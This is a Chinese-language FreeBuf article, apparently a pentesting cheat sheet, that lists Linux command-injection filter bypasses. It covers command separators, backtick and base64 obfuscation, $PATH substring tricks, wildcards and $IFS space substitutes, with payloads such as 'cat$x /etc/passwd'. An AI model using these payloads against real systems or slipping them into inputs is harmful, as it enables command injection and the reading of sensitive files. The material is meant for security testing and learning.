freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

linux命令执行绕过姿势总结
2021-10-30 11:45:19

linux下命令执行绕过总结

|| 符号 当前一条命令执行结果为false 就执行下一条命令

| 符号 只执行 | 符号后面的命令

&&符号 当前一条命令执行结果为true 就执行下一条命令

&符号 只执行 & 符号后面的命令

; 符号 不管前一条命令执行的结果是什么,执行下一条命令

变量覆盖

a=l;b=s;$a$b

图片.png

反引号加base64

`echo d2hvYW1p | base64 -d `

图片.png

反引号加混淆

w`saaaddd8450`ho`762aseba2`am`f0j71`i
wh$(caigou)oa$(anquan)mi
666`whoami`666

图片.png

图片.png

图片.png

$1 、$@ $* 混淆

在linux中 $1 $@ $* 等不会影响命令的正常执行

wh$1oami
who$@ami
whoa$*mi

图片.png

换行执行命令

图片.png

利用linux中的环境变量

export PATH=$PATH:/abcdefg/hijklmn/opq/rst/uvw/xyz    //通过设置临时环境变量

linux是否能像windows那样,使用环境变量里的字符执行变量呢,当然也是可以的。 首先

echo $PATH   //查看环境变量

图片.png

接着我们来截取字符串,截取字符串的语法是

${PATH:a:b}    //表示从第a位开始截取,b表示截取的长度

例如

${PATH:5:1}${PATH:2:1}    //ls

图片.png

正常情况下环境变量会比较多,基本上可以在里面找到26个字母以及0-9的数字足够我们执行想要的命令,但是环境变量比较少我们可以尝试自己设置临时环境变量

export PATH=$PATH:/abcdefg/hijklmn/opq/rst/uvw/xyz/0123456789    //设置临时环境变量

图片.png

然后通过字符串截取语法来达到命令执行的目的

${PATH:88:1}${PATH:70:1}${PATH:78:1}${PATH:62:1}${PATH:75:1}${PATH:71:1}    //whoami    a=62  w=88

图片.png

关键字过滤的绕过

图片.png

未定义的初始化变量

cat$x /etc/passwd

图片.png

?绕过

在linux中?扮演的角色是匹配任意一个字符,用?来绕过限制访问一些敏感文件

cat fl?g.tx?

同理可得,星号*在linux中用来代表一个或多个任何字符,包括空字符

cat fl*g.tx*

命令执行中的空格代替方法

<符号代替空格或者<>代替

图片.png

图片.png

$IFS代替空格(需要配合引号使用)

cat$IFS'test.php'

图片.png

${IFS}代替空格

cat${IFS}test.php

图片.png

$IFS$9代替空格或者$IFS$1

cat$IFS$9test.php

图片.png

很多文章里说$IFS$后面跟的数字需要是奇数才可以,不过在我测试的时候发现奇数偶数都可以

图片.png

{}代替空格

在linux下我们还可以使用大花括号来绕过空格的限制,比如ls -alt命令中间的空格

{ls,-alt}
{cat,test.php}

图片.png

图片.png
%09执行效果,常用于url空格替换

图片.png

# 渗透测试 # web安全 # 命令执行 # 命令执行绕过姿势
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录